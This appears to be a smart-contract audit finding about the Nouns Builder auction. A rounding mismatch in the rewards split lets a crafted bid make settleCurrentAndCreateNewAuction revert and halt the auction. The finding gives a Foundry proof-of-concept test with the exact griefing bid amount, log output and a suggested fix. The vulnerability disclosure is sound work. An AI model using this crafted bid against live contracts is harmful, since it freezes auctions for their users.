coffiasd - The auction could break due to a rounding error

[sherlock-admin]

coffiasd

high

The auction could break due to a rounding error

Summary

After auction process end , anyone can invoke settleCurrentAndCreateNewAuction to settle previous auction and start a new round。When highestBid is bigger than ZERO, protocol invoke rewardsManager#depositBatch to split the total amount。
Note that there is a check inside above function:

  if (msg.value != expectedTotalValue) {
      revert INVALID_DEPOSIT();
  }

Suspicious users can submit a specific amount to break the auction, preventing it from continuing due to rounding error in calculating the split amount.

Vulnerability Detail

@@ -305,17 +305,43 @@ contract AuctionTest is NounsBuilderTest {
         auction.createBid{ value: 0.420 ether }(2);
     }

+    function test_MutipleSettleRoundingError() public {
         deployMock();
+        vm.prank(founder);
+        auction.unpause();
+
+        vm.startPrank(bidder1);
+        auction.createBid{value:1 ether}(2);
+        //Assume bidder2 is a Suspicious users 
+        vm.startPrank(bidder2);
+        auction.createBid{value:6667274999493255999}(2);

+        vm.warp(10 minutes + 1 seconds);
+
+        vm.expectRevert(MockProtocolRewards.INVALID_DEPOSIT.selector);
+        auction.settleCurrentAndCreateNewAuction();
+    }

And i add a console2 to MockProtocolRewards

 contract MockProtocolRewards {
@@ -48,7 +48,8 @@ contract MockProtocolRewards {
                 ++i;
             }
         }
-
+        console2.log("msg.value:",msg.value);
+        console2.log("expectedTotalValue:",expectedTotalValue);
         if (msg.value != expectedTotalValue) {
             revert INVALID_DEPOSIT();
         }

Here goes the output:

Running 1 test for test/Auction.t.sol:AuctionTest
[PASS] test_MutipleSettleRoundingError() (gas: 3633429)
Logs:
  msg.value: 466709249964527919
  expectedTotalValue: 466709249964527918

We can see msg.value != expectedTotalValue due to rounding error

Impact

The auction could break and can't start a new round ， Since the entire auction will be terminated, I believe this should be considered an H issue

Code Snippet

https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/main/nouns-protocol/src/auction/Auction.sol#L465#L508

 // Calulate total rewards
  split.totalRewards = (_finalBidAmount * totalBPS) / BPS_PER_100_PERCENT;

  // Check if founder reward is enabled
  bool hasFounderReward = _founderRewardBps > 0 && founderReward.recipient != address(0);

  // Set array size based on if founder reward is enabled
  uint256 arraySize = hasFounderReward ? 3 : 2;

  // Initialize arrays
  split.recipients = new address[](arraySize);
  split.amounts = new uint256[](arraySize);
  split.reasons = new bytes4[](arraySize);

  // Set builder reward
  split.recipients[0] = builderRecipient;
  split.amounts[0] = (_finalBidAmount * builderRewardsBPS) / BPS_PER_100_PERCENT;

  // Set referral reward
  split.recipients[1] = _currentBidRefferal != address(0) ? _currentBidRefferal : builderRecipient;
  split.amounts[1] = (_finalBidAmount * referralRewardsBPS) / BPS_PER_100_PERCENT;

Tool used

Manual Review

Recommendation

@@ -505,6 +505,12 @@ contract Auction is IAuction, VersionedContract, UUPS, Ownable, ReentrancyGuard,
             split.recipients[2] = founderReward.recipient;
             split.amounts[2] = (_finalBidAmount * _founderRewardBps) / BPS_PER_100_PERCENT;
         }
+
+        uint256 actualAmount;
+        for(uint i;i<arraySize;i++){
+            actualAmount+=split.amounts[i];
+        }
+        split.totalRewards = actualAmount;
     }

Duplicate of #251